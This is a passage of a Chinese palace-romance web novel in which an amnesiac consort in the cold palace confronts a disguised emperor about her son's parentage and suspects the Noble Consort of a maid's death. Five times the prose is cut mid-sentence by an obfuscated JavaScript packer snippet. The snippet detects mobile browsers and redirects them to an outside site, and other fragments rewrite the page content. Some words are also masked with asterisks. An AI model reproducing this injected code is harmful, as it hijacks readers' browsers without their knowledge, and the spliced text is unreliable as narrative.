男人声音平静,奇迹般的将晋明鸢有些燥乱的情绪安抚了下来,但很快她就冷笑一声道:“装模作样,今日又想耍什么把戏?莫不是把我当成什么都不懂,可以让你随意哄骗的小姑娘了?” “没有,我说的都是真的,阿鸢想要什么,不妨说出来试试?”贺江灈说。 他也不知怎么哄人,来之前还是暗二那个不靠谱的告诉他,最好的办法就是先满足她的需求。 想想方才下午的时候,晋明鸢自己也说过冷宫缺衣少食,贺江灈自认这个方法应该是管用的。 男人声音笃定,晋明鸢本来又想斥骂,但目光一转,她忽然看向了男人挂在腰间的佩剑:“我要这个。” “不行。”贺江灈想也没想,直接拒绝。 这佩剑并非是他的,而是他为了隐藏身份,在暗一那里随手薅来的。 剑是暗卫们统一的制式,若是出现在冷宫里,被旁人发现了,自然不好解释。 他倒是能替她遮掩,但到时候势必会身份暴露。 贺江灈想到晋明鸢今日下午对他的那种抗拒,他还不想直接在晋明鸢面前承认自己的**。 “这把剑不行,你若是想要剑玩,我晚些给你一把更好的。”贺江灈说。 晋明鸢冷笑:“刚才还说什么都行,现在又不行了,说到底你还是在唬人。 我要的又不是什么金银珠宝,不过就是你一把佩剑,这么个不值钱的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482418|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玩意儿,你都不愿意给,那你说得话,怕是也都是唬人的。” “自然不是,只是这剑是暗卫统一的佩剑,留在你这里,只怕会招来麻烦。”贺江灈解释道。 晋明鸢不依不饶:“我只自己留着做个念想,不拿出去不就可以了?” 她早就看出来这剑是统一的了,那日来的暗二,身上也有一把一模一样的。 正是因为是统一的,她才故意要的。 那陛下不相信贵妃与暗卫有染,那她正好借这个试试。 “念想?”贺江灈问。 晋明鸢见他有松口的意思,连忙点头,故意道:“是呀,你刚才不是说心里只有我一个吗?我拿你贴身的东西留个念想不可以吗?” 她话说的理直气壮,一只手在贺江灈的面前摊开。 贺江灈看着她的动作,略微有些失神,脑海里又一次响起了安妃的话。 她如今失忆,没有安全感,应该哄。 之前他觉得有些荒唐,现在再一看晋明鸢的反应,他忽然觉得安妃说的或许确实有道理。 手解下了腰间的佩剑递了过来,贺江灈道:“你好好收着,切记不要在人前拿出来。” 她既然要,暂时先给他就是了,等他回去之后,再让人打把相似的剑,把这把替换了,就也不怕被别人发现了。 不拿出来,才怪。 晋明鸢心里暗自嘀咕一句,她收好了佩剑,一开口就是下了逐客令:“好了,要是没有别的事的话,你赶紧走吧。” “这就赶我走?阿鸢还真是绝情。”贺江灈轻笑一声,他顺手捏过了桌上那张宣纸,指着贵妃被打了叉的名字,“这是什么意思?阿鸢要不要解释解释?” 下午的事,或许是他处理的不够妥帖,也太冲动了,晋明鸢既然怀疑贵妃,他应该耐下性子听一听她的想法的。 就算她的想法再无理,他也不该直接否认。 这么想着,贺江灈很快就说服了自己:“是贵妃招惹你了吗?” 第73章 真真是骑虎难下 晋明鸢伸手,把那张宣纸拿了回来。 看着男人略有严肃的目光,不知怎么她就想起了今日那个陛下,这两人的目光总给他一种相似的感觉。 她摇了摇头,压下了心底的异样:“如果我说是呢?你是不是要告诉我贵妃绝不可能做这样的事?” 她话里带了些许试探的意思。 明明说出来的都是自己刚才刚说过的话,可是贺江灈听着总觉得心里有些不舒服。 贺江灈道:“不会,至少我要问清楚你讨厌她的原因。” “是吗?那我先问问你,当年我们是怎么一起生下的云瑄?”晋明鸢忽然上前一步,身子朝着贺江灈无限逼近。 “我…”明明方才刚决定好,不管她问什么,他都给她个解释的,可这一句话,却一下子震的贺江灈哑口无言,他甚至想直接反问一句,他哪里知道? 那孩子明明就是… “为什么不回答?你如果真的像你说的那般在意我这种问题,你不应该款款而谈吗?”晋明鸢又一次质问,脚步也再次朝着贺江灈逼进一步。 两人之间的距离又一次被无限拉近,衣衫撞在一起,发出轻微的摩擦声。 贺江灈的鼻尖闻到了一股清淡的香味,是春日里最清新的草木香,不掺杂一点脂粉的味道,那是晋明鸢身上惯有的味道。 这味道明明是柔和的,可现在因着女子质问的语气,都好像染上了无穷无尽的攻击性。 贺江灈心底还没想出要怎么遮掩,晋明鸢已经不耐烦的道:“装不下去了吧,云瑄的出生本来就不是你所希望的,你根本就是在逃避这个问题,什么喜欢我心里只有我一个这种话,应该也是说来唬人的,事实上你只是…” “没有。”贺江灈打断了她的话,对上女人一双怀疑的目光,他干脆心一横,“这件事我确实不太清楚,你若是问些别的,我可以尽数告诉你。” 话出口的时候,贺江灈视线有些许的偏移,像是在刻意的躲闪着晋明鸢的目光。 即便那件事已经过去五年,现在旧事重提,依旧是像一根新刺扎在心头。 比起晋明鸢来,这个问题他才更想知道。 晋明鸢嘴角都有些僵硬:“你骗鬼呢?你自己做的事怎么会不知道?难不成这孩子还是我自己跟自己生下来的?” “我确实不知道。”贺江灈又重复了一遍,“我…” 贺江灈话开了个头,忽然有些不知道怎么解释。 从一开始,晋明鸢就把他当成了贺云瑄的父亲,他当时没有否认,如果现在再否认的话… 显然不太合适。 可… “你不想说可以不说,没必要找这种蹩脚的理由。”晋明鸢轻笑一声,她后退一步,身子慵懒的靠在桌案前,眼睛里已经闪过了些许的讽意。 还说和那贵妃没有关系,一个问题都这么吞吞吐吐的,这个人明显就是有猫腻。 “阿鸢,我…” “打住吧,除了刚才那个问题的答案,我不想听你说别的。”晋明鸢说。 她转了个身,背对着贺江灈,草木香骤然消逝,贺江灈看着她的背影,似乎有了一种骑虎难下的感觉。 他咬咬牙,半真半假道:“当年,你与四皇子新婚不久,先帝就忽然病逝,朝中储君之位竞争激烈,四皇子怕你被牵连,先行让人将你送出了京。 因为你与贵妃从小一起长大关系极好,四皇子便让她在途中照顾与你,后来等到尘埃落定,你与四皇子再见面的时候,就已经生下了孩子。 但是这中间你与四皇子一年多未曾见面,这孩子出生的时间…” 贺江灈没有说下去,他的手按在桌子的一角,尽管语调尽量平静下来,但是手背上一根根突起明显的青筋已经暴露了他此刻的烦躁。 晋明鸢猛地回过头来,一双眼睛里尽是震惊。 她指了指贺江灈,又指了指自己:“你是说,我…你…皇帝好心保护我,结果我就在外面给他戴了绿帽子? 不是…我之前真就那么没脑子?和他一年多没见面,还敢把那明显就月份不对的孩子生下来? 还有你…兄弟,不是…你胆子也够大的,这种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482419|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事你也做得出来? 你该不会觉得那时候咱们这位陛下要夺嫡失败,所以才敢睡他的女人?还让我把孩子生下来? 不是,兄弟,你半路庆功啊,你该不会是陛下的仇人吧?” 晋明鸢深吸一口气,已经不知道该说什么好了。 贺江灈在一边沉着一张脸,只听着晋明鸢的吐槽声,他半天都没说出一句话来。 他也想知道这女人到底怎么想的,那等荒唐事都做得出来。 晋明鸢想过这中间有误会,可现在听着贺江灈的话,她只觉得一阵头脑发懵。 她中间和皇帝有一年多的时间没有见面,这孩子从月份来算就不可能是皇帝的呀,就这还敢生下来… “我看我真是得收回今天下午那些话,那皇帝还真是够仁慈的,我做了那么多事,他都能留我性命,那可真是了不起。 不愧是能做皇帝的人,这心就是大,连这种事都能容忍,喂,他该不会真很爱我吧?” 晋明鸢实在压抑不住心里的震惊,才刚刚安静了片刻,又捂着胸口吐槽起来。 贺江灈的脸色越来越沉,手控制不住的一下用力,就将实木桌子的一角掰了下来。 他真是就不该听安妃的,他就多余过来哄人。 现在人有没有哄好**,只知道把自己的里子面子全丢在这里了。 晋明鸢正在兴头上,并没有注意到贺江灈的异样,她又兀自摇了摇头,继续煞有介事的分析:“爱我,应该不至于,毕竟他宫里有那么多嫔妃。 那看来他就真的只是心胸宽大了,又或者是有什么怪癖也说不准,毕竟我今日和他提起贵妃的事时,他好像也不在乎。 那如果这样算的话,老娘现在进冷宫岂不是很亏?” “晋明鸢!”贺江灈听着她一番盘算之后,已经成一番心虚把自己推到了占理的那一方上,他甚至毫不怀疑,如果自己再不出声打断下一个,这女人就该理所当然的觉得她要做皇后。 深吸一口气,贺江灈说:“陛下他没怪癖,他怎么就不能是在意你?” 第74章 你想出冷宫吗 怎么就不能? 晋明鸢倒是想反问,怎么就能了? 旁的暂且不说,就单论她刚从枯井里被救出来的时候,都没有见到陛下过来看一眼。 她在这冷宫五年没吃没喝,那人也从来都不知道,这样怎么可能是在意? 单单是想想那人可能在乎自己,晋明鸢就觉得一阵头皮发麻。 她说:“快别开玩笑了,那你接下来是不是还会说,你当时之所以跟我睡,是因为觉得他在意我,还会为了我接受你的孩子? 怎么,按照这个走向来算的话,你该不会是前朝的哪个皇子,因为争皇位抢不过他,所以想剑走偏锋,让自己的孩子养在他名下?” 手骤然收紧,手心里那被生生掰断的桌角扎进皮肤,渗出鲜红的血。 贺江灈看着晋明鸢那副嬉皮笑脸的模样,他忽然意有所指的道:“你猜你儿子为什么姓贺?” 笑容霎时僵在了脸上,晋明鸢忽然觉得有一股冷意从脚底攀升,她的身子,都有些摇晃不稳。 是呀,云瑄是她和别人生的,那位陛下因为此事把她丢进冷宫,很显然是不接受这个孩子的。 可是这个孩子偏偏叫贺云瑄,他被冠的分明是国姓。 难道事实真的如她所猜的那样,这孩子的生父是前朝的皇子,虽然陛下不喜他,却没有剥夺他的姓氏? 否则又怎么能解释他姓贺? 晋明鸢时刻完全没有一点开玩笑的心思了,她只觉得浑身都被一种奇怪的感觉席卷。 方才男人的话又一次在耳边过了一遍,再加上这件事她控制不住的重新去理。 当年陛下为了保护她将她送出京城,可是她却在外面与陛下的政敌生了孩子。 现在陛下非但没有**她,甚至还让这孩子住进了皇宫,并且同意了孩子姓贺? 事实竟然是如此吗? 那… 晋明鸢用力的眨了眨眼,她忽然觉得那陛下好像有些可怜。 不对,这只是这男人的一面之词而已,她不能就这么被误导。 晋明鸢很快就冷静了下来,她又问:“那贵妃呢?她全程陪着我,该不会是她劝我把孩子生下来的吧,你和她一直就有纠葛,她劝我生下孩子利用陛下?” 越是这么想,晋明鸢越觉得有这个可能。 那贵妃平日里总是表现的,恨不得连一只蚂蚁也舍不得踩死,若是遇到这样的事,肯定会哭哭啼啼的告诉她该怜惜一条生命。 抛除她没有想到当年她与贵妃一起离京,是因为陛下要保护她以外,其挺的走向好像与她的猜测又大差不差。 手心里的血流的越来越多,血珠接连不断一滴一滴的落在地面上,但贺江灈却好像感受不到疼痛一样。 他说:“是贵妃劝你在陛下来接你之前除掉孩子,当做什么都没有发生过,可你偏要把他留下。 后来陛下也给了你机会,让你丢下孩子回宫,但你不愿意,于是陛下才让你进了冷宫。” 哐当一声巨响自门外响起,就像是有什么重物打在了地面上一样。 晋明鸢的耳边都是一阵明显的嗡鸣,她缓慢地抬眼就看到贺云瑄小小的身影站在门外,面前还有一个摔在地上的铁盆,盆里的热水撒在地面上,一点一点的浸入地底。 “云瑄,你怎么…”晋明鸢问。 话还没有说完,贺云瑄小小的身子就如炮弹一样,直接撞进了晋明鸢的怀里,他的手紧紧的抱着晋明鸢的腰,声音里带着些许的哽咽:“娘亲,我不知道,对不起,我不知道这些。 我以前听贵妃的话,以为你对我很坏,以为你不喜欢我,娘亲,对不起。” 贺云瑄之前确实听人提起过,晋明鸢是因为他的缘故进冷宫的,只是那些旁人口中的议论,远不及今日这等直白的言语带给他的冲击要大。 他从来都不知道他的娘亲,为了袒护他做了那么多。 晋明鸢摸着贺云瑄的脑袋:“哭什么?这本来就是娘亲应该做的?娘亲的过错本就不应该由你来承担。 你既然选择生在娘亲肚子里,那娘亲就有义务保护你呀,不管你的父亲是谁,不管中间我们经历过什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482420|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你都只是我的孩子。” 她想,失忆前的自己应该也是这样想的,虽然她依旧不明白自己当初为什么要背叛陛下,但至少对这个孩子她一定是想好好照顾的。 待到贺云瑄哭声渐小,晋明鸢才问:“云瑄,这么晚了你不睡觉,在外面做什么?” 贺云瑄说:“娘亲从下午开始就一直把自己关在屋子里,我担心娘亲,本来是想给娘亲送洗脚水的,可是刚刚不小心洒掉了,我再去给娘亲烧一次吧。” 他也不等晋明鸢的反应,小手快速的抹了抹眼睛,就小跑着又出了门。 贺江灈看着门口一滩未干的水渍,还有烟囱里很快冒起来的轻烟,他忽然道:“之前陛下确实挺不喜欢这孩子,现在没那么不喜欢了。” 尽管他声音很轻,可是这屋里就只有晋明鸢两个人,话音还是不偏不倚的落在了晋明鸢的耳朵里。 晋明鸢翻了个白眼:“不是,你怎么知道陛下的想法?你以为你谁呀?我警告你云瑄只是我的儿子,不是你争权夺利的工具,我不管你是什么身份,都别想拿云瑄垫脚。” 贺江灈并没接晋明鸢这个话茬,他又问:“那小子年纪不大,倒是把你照顾的很好。” “那当然,我儿子是天底下最好的儿子,总之他只是我一个人的,跟你无关。”晋明鸢说。 贺江灈稍稍沉默片刻,他忽然问:“你想出冷宫吗?” 黑沉沉的目光正盯着晋明鸢的眼睛,他的喉结轻微滚动,瞳孔深处是连他自己都不曾察觉的些许慌乱。 罢了,已经闹了五年了,该有个结果了。 那个孩子孝顺又乖顺,就算… 左右那个人已经**,他流着的也算是贺家的血,总是在冷宫里也不是办法,或许… 他可以退一步。 晋明鸢猛地摇头:“不了,我在这儿挺好的,还是别出去了吧。” 开什么玩笑,她把那陛下坑的那么惨,这冷宫是她想就能出的吗? 之前不知道也就算了,现在既然知道了,晋明鸢都觉得没脸见那陛下。 第75章 一场旧梦 贺江灈走后,晋明鸢却是一夜不得安稳。 不知是不是受男人的话影响,她竟是破天荒地做起了梦。 乱糟糟的,断断续续的,一会儿是红绸还未扯去的宅院里,男人趁着夜色把她推上马车。 一会儿又是黄沙漫天的塞北关,浑身是伤的男人一枪一马立在城下,说要求娶她为妻。 在一会儿,又是似有万丈高的悬崖边,女人撕心裂肺的哭喊着唤兄长。 晋明鸢猛地从梦里惊醒,后背上的衣衫已经完全被冷汗浸湿了。 明明一切都像是蒙了一层雾一样,可她胸口却又闷又疼,好似怎么也喘不上气来。 “娘亲,你怎么了?”贺云瑄在旁边有些关切的问。 “你怎么会在这里?”晋明鸢有些惊讶的问,话一出口,她才蓦然发觉外面天已经大亮了。 贺云瑄说:“我想叫娘亲吃早饭,可怎么也叫不醒你,娘亲你还好吧,你怎么出了这么多汗?” 说话间,他伸出手,就要帮晋明鸢擦汗,晋明鸢接过了他的帕子,轻轻摇了摇头:“娘亲无事,云瑄先出去等娘亲吧。” 把人支了出去,晋明鸢依旧没办法平静下来。 尽管梦里的一切都像是蒙了层雾,她连男人的脸都看不见,可直觉告诉她,那个把她塞进马车的男人,还有站在城楼下求娶她的人,只有一个可能,就是她之前的夫君,现在的陛下。 至于那高过万丈的悬崖,还有女人撕心裂肺的喊声… 想到这个画面,晋明鸢就控制不住的心头一悸,梦里她好似可以分辨出来,那个女人就是贵妃。 陛下曾说,她欠贵妃一条命… 难道就是梦里的那个时候吗? 不,别多想了,那些说到底,不过是场梦… 晋明鸢安慰着自己,可是手心里的汗却越来越多。 那梦就算再朦朦胧胧的再让她看不真切,可是惊醒时,心脏的抽痛与心悸却好像在提醒着她,那根本就不是梦。 或许…是她当年的记忆。 简单的收拾妥当从房间出来的时候,晋明鸢一颗心还是久久不能平静。 就连走到饭桌前的时候,她都是有些木讷的。 “小云瑄,吃饭的时间到了,怎么也不见你叫我?”女人清朗的声音传来,是姜妃大摇大摆的走了进来。 她一眼就看到了坐在桌前愣神的晋明鸢脸上瞬间多了几分担忧之色:“晋姐姐,你这是怎么了?心情不好吗?是不是昨日那陛下与你说了什么?” 她一连问了几个问题,正想在晋明鸢身边坐下,屁股一沾到石凳,就疼得她倒吸一口凉气又站了起来,嘴里还嘀咕道:“啧,那群办差的真下得去手,疼死本宫了。” “你怎么来了?”贺云瑄拿了碗筷过来,看到姜妃的时候,还短暂的愣了一下,才没好气的道。 姜妃说:“你这小子睡糊涂了?我哪日不来吃饭了?倒是你,今日竟然没有去叫我,怎么?生姜姨姨的气了?” 贺云瑄瘪了瘪嘴,没有说话,姜妃伸手,直接把他拉到了一边,压低了声音道:“这事是我之前没说清楚,不过你小子倒是冷静呀,那种时候还跟我叫板,我…” “你昨天的意思是,那个来看娘亲的暗卫与陛下…”贺云瑄没有把话说完,他一双黑黝黝的大眼睛就这么盯着姜妃。 姜妃点了点头:“那能有假?一个暗卫就算能在冷宫里来去自如,当真能神不知鬼不觉的弄来那么多米面? 旁的不说,堂堂陛下,这个皇宫名正言顺的主人,出现在冷宫,却藏头藏尾,还不能说明什么吗? 昨日是我差一点就拆穿他了,要不是你小子不给力,晋姐姐现在说不准就与他恩断义绝了。” 说起这个,姜妃还有些唏嘘。 本来就差一点就能成功的,结果闹到最后,倒是让她自己平白挨了十板,到现在还不敢坐呢。 现在看看,那贵妃因一顿板子休息一个月,倒是不冤,若非她从小习武,只怕也扛不住。 贺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482421|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云瑄低着头,又想到了冷宫门外幽森冗长的甬道里,男人身上的玉佩荡起的微光。 那日他果然没有看错,那个人却是不是什么暗卫,竟然就是这皇宫的主人吗? 可… “昨日那样好的机会没有拆穿他真是可惜,不行,**脆把这事儿直接告诉晋姐姐去吧。 免得晋姐姐再重蹈覆辙,又上了那男人的当。”姜妃没有注意到贺云瑄的异样,她又自顾自的说。 之前那男人把晋姐姐丢进冷宫时毫不犹豫,现在想换个身份就与晋姐姐重修旧好,这件事她是绝对不同意的。 “姜姨姨,等等。”贺云瑄伸手,拽住了姜妃的袖子,“我们都误会了,娘亲没有想和那个人有什么,她问柳枝那种问题,是因为怀疑贵妃与人…与人…” 话磕磕绊绊的,还没有说完,贺云瑄自己先红了耳朵,那两个字他怎么也说不出来。 姜妃也算是听懂了他的意思。 她问:“你说的是真的?” 贺云瑄点了点头:“昨日你走之后,娘亲亲口跟我说的,总之这件事你还是不要拿到娘亲面前去说了。” “为什么?云瑄,你到底是站在谁那边的?就算那个人是陛下又如何?他还不是伪装身份骗你娘亲?这种事难道不应该拆穿吗?”姜妃忍不住拔高了声音,“不是,我不就昨日走的早了一点,你怎么这么快就反水了,那陛下给你什么好处了?他比你娘亲还重要了?” “当然没有。”贺云瑄说,“娘亲是最重要的,只是…” 贺云瑄手指勾着自己的衣摆,看起来很是犹豫。 姜妃催促道:“只是什么?你怎么也吞吞吐吐的了?咱俩之间还有什么秘密?有什么话你就直说呀。” “只是我担心姜姨姨。”贺云瑄说,“那个人毕竟是陛下,如果您拆穿他,怕是他会因此降罪于您,云瑄不想姜姨姨受罚。” 贺云瑄一股脑的把话说出口,眸光却有些许的闪烁,视线也挪到一边,不和姜妃对视。 第76章 贵妃的兄长 如果在昨夜之前。 他很清楚姜妃拆穿了那个人的骗局,娘亲一定会与那人恩断义绝。 可昨夜… 贺云瑄不由的想起那个人走后,娘亲有些失魂落魄的模样,他分明在娘亲的眼睛里看到了愧疚。 还有今日早上,他听到娘亲在梦魇之中唤了个名字。 “阿灈”。 那是陛下的名讳。 贺云瑄想,不管娘亲到底有没有想来往事,至少她现在心里已经对陛下生了愧疚。 如果现在让她知道那个在她身边的暗卫就是陛下,贺云瑄觉得,只是凭着这份愧疚,或许就足够让娘亲原谅对方的欺骗。 如此一来,那个人再站到娘亲身边就是堂堂正正的,就是光明正大的。 他甚至还可以理所当然的与自己抢娘亲,因为他们本来就是夫妻。 这并不是贺云瑄想看到的。 他的娘亲最近才刚刚能看到他的存在,他不舍得娘亲的注意力这么快就转到别人身上。 卑劣也好,又或者别的也罢。 他就是不希望娘亲,现在就得知真相。 反正本来也是那个人自己要用假的身份来见娘亲的,既然如此,享受不到娘亲的愧疚心软,都是他活该。 姜妃并没有多想,她伸手揉了揉贺云瑄的脑袋:“好啊你,还知道为姨姨考虑,姨姨还真是没白疼你,那这件事…” “姜姨姨,先吃饭吧,别让娘亲等急了。”贺云瑄说。 他转移话题的意图明显,索性姜妃并没有什么在意,点了点头:“你说的对,那就先吃饭吧。” 两个人重新回到饭桌前的时候,晋明鸢还是神色怏怏的。 姜妃有些担忧的道:“你娘亲这是怎么了?是不是昨天我走之后,陛下与她说什么了?” “没有。”说话的是晋明鸢,她道,“姜妹妹,当年我曾与贵妃一起离京,那时候除了我们以外,可还有旁人,比如贵妃的家人?” “你说赵离?”姜妃说,“是不是陛下说你欠贵妃一条命了,你别听他的,那就是扯蛋,赵离当年武功盖世,若是他只护送你离京,根本不可能出事的。 是赵清吟非要跟着当累赘,才连累的赵离身死,就算真的要算,那也是她赵清吟不懂事,是她自己害**自己的哥哥,这条人命不应该记在你身上,你也不用对赵清吟愧疚。” 所以她猜的果然没错,梦里那个撕心裂肺的女人就是贵妃,那坠崖的便是贵妃的兄长。 晋明鸢说:“当初真的是陛下让人护送我离京避难?” 姜妃虽然脸上不情不愿,但还是点了点头:“虽然他这几年不是东西,但是之前确实对姐姐挺好的,不过姐姐你不要多想,你没有对不起他们的时候,当初是你在风雨飘摇的时候决意嫁给他的,否则你也不会被牵扯,也不用遭这五年的罪。” 姜妃口中说着安抚的话,就好像在她的眼里,不管晋明鸢做了什么都是对的,错全是别人的错。 贺云瑄听了姜妃的话,都是控制不住的频频侧目。 看来在夸赞娘亲这个方面,他还是得跟姜姨姨好好学习。 晋明鸢说:“当年,我与陛下之间…” “没什么,就是一起长大的而已,如果不是他当年求娶,晋姐姐应该回塞北,做最自在的苍鹰,而不是被困在这巴掌大的冷宫里,总之,都是他害了晋姐姐,晋姐姐可不能对他心软。”姜妃说。 她从贺云瑄手里接过汤勺,盛了一碗汤递到了晋明鸢的面前:“晋姐姐,汤凉了,这可是云瑄一早起来煮的,你莫要因为不相干的人耽误了我们云瑄的孝心。” 她笑盈盈的,转移话题的意思明显,心里却是忍不住犯嘀咕。 那男人还真是一如既往的阴险,她只是一下午没看住,就让那人又取得了晋姐姐的关心。 晋明鸢顺手接过了姜妃递来的汤碗,她又问:“你知道翠枝吗?” “晋姐姐之前在皇子府的丫鬟?我记得她应该是调到了太医院当差的,只是…” “她出事了对不对?”晋明鸢问。 虽然记忆还没有要回来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482422|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的迹象,可是晋明鸢总觉得她离发现某些真相不远了。 她之前只以为自己与翠枝有些交集,可现在姜妃却说,翠枝是她的丫鬟,甚至在她进冷宫的时候,翠枝也频频来看她,那就说明这丫鬟对她忠心耿耿。 她入冷宫五年,翠枝却忽然在一个多月前去世,当初的她到底让翠枝帮忙办了什么事?是不翠枝真的窥到了什么秘密才让人灭口? 晋明鸢总觉得这桩桩件件的事就像是被朦朦胧胧的雾遮着,让她看不清真相,可越是看不清,她就越是想要将那雾拨开看个真切。 姜妃说:“就在姐姐失忆的前一天晚上,翠枝被人发现溺死在荷池里,仵作验过了,是失足溺亡。 只是奇怪的是,那个时间下人们都应该休息了,翠枝也该在太医院才是,不知为何就出现在了荷池那里?” “从太医院到冷宫,是不是要经过荷池?”晋明鸢问。 姜妃点头,晋明鸢的脸色霎时一白。 按照贺云瑄的说法,她失忆的那天才是与翠枝见面的日子,所以翠枝到底因为什么非要提前一天晚上匆匆来冷宫寻她? 她溺死在荷池,可是因为发现了什么秘密被人灭口? 到底是什么样的秘密,让她连一晚上都等不了? 无数的念头在晋明鸢的心里闪过,她问:“翠枝的后事是谁处理的?” “是贵妃,当时陛下带人出宫围猎,贵妃留在宫中主持大局,仵作验过翠枝的尸体之后,贵妃就让人将她厚葬了,晋姐姐,你怎么会忽然问起翠枝,可是翠枝的死有蹊跷?”姜妃说。 晋明鸢道:“姜妃,你说有没有一种可能,我当初生下云瑄,就是与贵妃有关,毕竟当初赵离去世后,就只剩了我与贵妃相处。 可明明在逃难的途中,那么紧张的情况下,我却怀了身孕,这明显就不对劲。 你说赵离武功高强,都因为保护我们而死,可最后只剩我与贵妃却能安然无恙,这中间…” 她这次没用笃定的语气,但心里却又仿佛能肯定自己的猜测。 第77章 姜姨姨,我能帮你 “晋姐姐,你如今总算是清醒了,当年陛下登基,你入了冷宫,她赵清吟却成了这宫里唯一的嫔妃,甚至直接登上贵妃之位,这世间哪有那么巧的事? 虽然我看不起咱们陛下,可以当年他对你的在意程度,若是没有这件事,他确实不可能纳妃。 这话我当年就与你说过了,可那时你偏说陛下立她为贵妃,只是因为完成她兄长的遗愿。 可晋姐姐,赵清吟从小就想嫁给陛下,是赵离一直不同意的,他的遗愿又怎么可能是让赵清吟做嫔妃? 退一万步讲,谁都知道赵离坠崖身亡,就算当时你昏迷不醒,也该想想,他怎么可能有机会交代遗愿?” 姜妃的话一句句的砸进晋明鸢的耳朵里,就好像是在笃定晋明鸢的猜测一样。 晋明鸢神色晃动,脸色渐渐地凝重,她的手忽然抓住了姜妃的袖子:“翠枝的死,可能与贵妃有关。” “晋姐姐,你是不是想起了什么?”听到晋明鸢近乎笃定的语气,姜妃眼睛亮了些许,她惊讶地把握住了晋明鸢的手,语气里也带了些许的期待。 晋明鸢摇头:“那倒没有,你能不能帮我查查这件事,我总觉得,我失忆应该和翠枝的死有关系,如果真的是贵妃做的,那么她定是想隐藏什么。 如果我生下云瑄也与贵妃有关的话,我猜测她最想藏的应该就是这件事,或许失忆之前的我已经怀疑她了。” 说到这个晋明鸢,自己也不太确定。 没有记忆,大脑空泛的感觉实在是不好受,她只能凭着直觉去猜。 姜妃道:“晋姐姐放心,这件事包在我身上,我会查清楚的。” 她脸上也出现了几分凝重之事,贵妃平日里对后宫的事管的确实松泛,可是翠枝的死,她却是最先到场的。 而且那件事处理的迅速,简直就不像她平日里的速度,现下仔细想想,这事确实不对劲。 姜妃很快就吩咐了下去,她又留在冷宫,和晋明鸢母子一起用过了早饭,便要起身离开。 这和她平日里恨不得要住在冷宫里的架势简直天壤之别。 晋明鸢都忍不住询问:“姜妹妹今日怎么走的这么匆忙,可是有什么事?” 提到这个,姜妃就愤愤道:“还不是那个贵妃?陛下怪她管理不好后宫,让我替她协理六宫,结果她倒好,竟然直接把接下来筹备中秋宫宴的事甩给了我,自己做起了甩手掌柜。 谁不知道太后对这种事很是看重,往年每次宴会,太后总会崩出来挑毛病,这么个吃力不讨好的事,她丢的倒是痛快了,可我却得自己担这个烂摊子。 到时候被太后挑毛病还是小事,主要是这段时间我怕是没时间来陪晋姐姐了,也没办法来教我们小云瑄了。” 话到这里,姜妃又愤愤的叹了口气。 接下管理六宫的活,对她来说倒也还好,就是这个被贵妃忽然甩过来的宫宴,确实让她窝火。 她故作轻松的摆了摆手:“好了,我得赶紧去弄这烂摊子了,晚点再来寻姐姐。” “等等,姜姨姨。”贺云瑄忽然开口叫住了姜妃,他说,“姜姨姨,我有办法能让你既得到空闲,又不用被人挑毛病,而且还能留个好名声。” “什么?你小子真有这么好的主意?”姜妃惊讶道。 贺云瑄一本正经的点了点头。 娘亲今日心情一直不好,他知道娘亲一直都在为之前的事困扰,他不想看娘亲天天这样忧虑。 既然姜妃能帮娘亲查真相,那他就帮姜姨姨把时间空出来好了。 